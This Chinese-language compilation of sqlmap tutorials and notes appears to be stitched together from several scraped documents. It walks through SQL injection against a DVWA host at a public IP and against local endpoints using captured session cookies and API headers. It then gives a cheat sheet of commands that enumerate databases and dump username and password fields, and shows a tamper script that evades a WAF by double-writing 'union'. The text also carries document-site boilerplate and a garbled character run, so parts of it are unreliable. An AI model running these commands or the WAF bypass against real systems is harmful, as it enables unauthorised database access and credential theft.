6. --crawl:启动爬虫功能,搜索目标网站中的其他链接这个命令用于启动爬虫功能,能够搜索目标网站中的其他链接,并检测每个链接是否存在SQL注入漏洞。
例如:`--crawl3`,表示爬取深度为3层的链接。
7. --cookie:指定HTTP请求的Cookie这个命令用于指定HTTP请求的Cookie,可以用于绕过登录认证,以便访问需要登录才能访问的页面。
例如:`--cookie "PHPSESSID=123456789"`。
sqlmap介绍与使用案例
sqlmap介绍与使⽤案例sqlmap介绍与使⽤案例1.sqlmap简介最⽩话的介绍就是sqlmap是⼀个⼯具,⼀个⽤来做sql注⼊攻击的⼯具2.windows安装python2这个sqlmap需要python2才可以正常执⾏,注意python3不⾏哦,如果你已经安装了python3,本地同时安装python2和python3,需要注意修改其中⼀个python执⾏⽂件的名字,以便在path中添加环境变量的时候,可以正确区分,详细这⾥不进⾏赘述,如果不了解,建议⾃⾏百度。
3. windows安装sqlmap3.1 下载压缩包3.2 解压⽂件解压到任意⽂件夹皆可解压以后⼤概是这个样⼦的3.3 启动⼀个命令⾏,执⾏sqlmap.py如果出现这个界⾯,表⽰⼀切正常按任意键结束4. 测试sqlmap功能4.1 使⽤DVWA测试⽹站4.1.1 关于dvwa这个⽹站有sql漏洞,专门拿来测试⽤,不知道是哪位好⼼⼈搞出来的4.1.2 操作⾸先登陆成功以后三步⾛,拿到需要的urlimage.png拿到url以后,就可以使⽤这个url来注⼊了python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"出现如下结果,则表⽰sqlmap检测到有可以注⼊的地⽅,ps:如果没有检测到可以注⼊的地⽅,会显⽰如下image.png既然检测到有可以注⼊的地⽅,现在我们就来通过这个注⼊来获取⼀些数据库的信息获取数据库python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs可以看到执⾏以后拿到了数据库的信息再进⼀步,获取数据库中表的信息python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables可以看到,拿到了dvwa这个库中的所有表的名字image.png再进⼀步,获取表中的字段信息python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns可以看到,拿到了表中的所有字段4.2 使⽤本地⽹站4.2.1 本地⽹站是本地的项⽬,现在⽤本地的项⽬跑起来来测试sqlmap4.2.2 操作--url1执⾏:python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --method=POST可以看到,没有访问到正确的连接,⽽是被重定向到了登陆的login页⾯,这是因为这个⽹站需要登陆,没有登陆的情况访问链接就会被重定向到登陆页⾯,所以在这⾥现在浏览器中登陆,然后拿到浏览器的cookie,让sqlmap携带着cookie再去攻击拿到浏览器的cookie执⾏(携带cookie):python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST执⾏结果:可以看到,并没有找到可以注⼊的地⽅image.png观察这个⽹站的⽇志,也可以看到,这个接⼝被调⽤很多次,都是sqlmap⾃动调⽤的,它在尝试寻找可以注⼊的地⽅image.png4.2.3 操作--url2同样携带cookie执⾏:python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET执⾏结果,没有发现可以注⼊的地⽅查看⽹站后台,接⼝同样被调⽤多次4.2.3 操作--url3url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,这也是⼀个get请求,但是不同的是,这个接⼝不需要cookie就可以访问,但是需要携带正确的header才可以执⾏携带header执⾏:python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684" --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"执⾏结果,没有找到可以注⼊的地⽅查看后台,接⼝同样被调⽤多次5. 总结简单的使⽤就是这样,需要⼀个url,有的可能需要携带cookie,有的可能需要携带header,如果找到了注⼊点,就可以拿到⼀些数据信息,但是现在的⽹站通常也⽐较难找到可以注⼊的url。
SQLMAP使用手册
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。
今天把我一直以来整理的sqlmap笔记发布上来供大家参考。
sqlmap简介sqlmap支持五种不同的注入模式:∙1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
∙2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
∙3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
∙4、联合查询注入,可以使用union的情况下的注入。
∙5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注入基本格式sqlmap -u “/post.php?id=1″默认使用level1检测全部数据库类型sqlmap -u “/post.php?id=1″ –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap -u “/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注入成功后获取数据库基本信息sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
02
Tamper函数介绍
tamper是整个脚本的主体。主要用于修改原本的payload。
03
dependencies函数介绍
dependencies函数,就tamper脚本支持/不支பைடு நூலகம்使用的环境进行声明
04
简单案例
服务器代码: <?php $id = $_GET["id"]; $id = trim($id,"union"); echo "select * from user where id =' " . $id . "'"; ?>
Sqlmap 视频课程
Sqlmap Tamper脚本编写介绍
课程内容
1. Tamper脚本结构介绍 2. Tamper函数介绍
3. dependencies函数介绍 4. 简单案例
01
Tamper脚本结构介绍
Tamper脚本结构介绍
sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload 进行特定的更改以绕过WAF。
Tamper脚本:
def tamper(payload, **kwargs): return payload.replace('union','uniounionn')
针对这样情况Sqlmap双写绕过。
总结
1. Tamper脚本结构介绍 2. Tamper函数介绍
3. dependencies函数介绍 4. 简单案例
谢谢
欢迎关注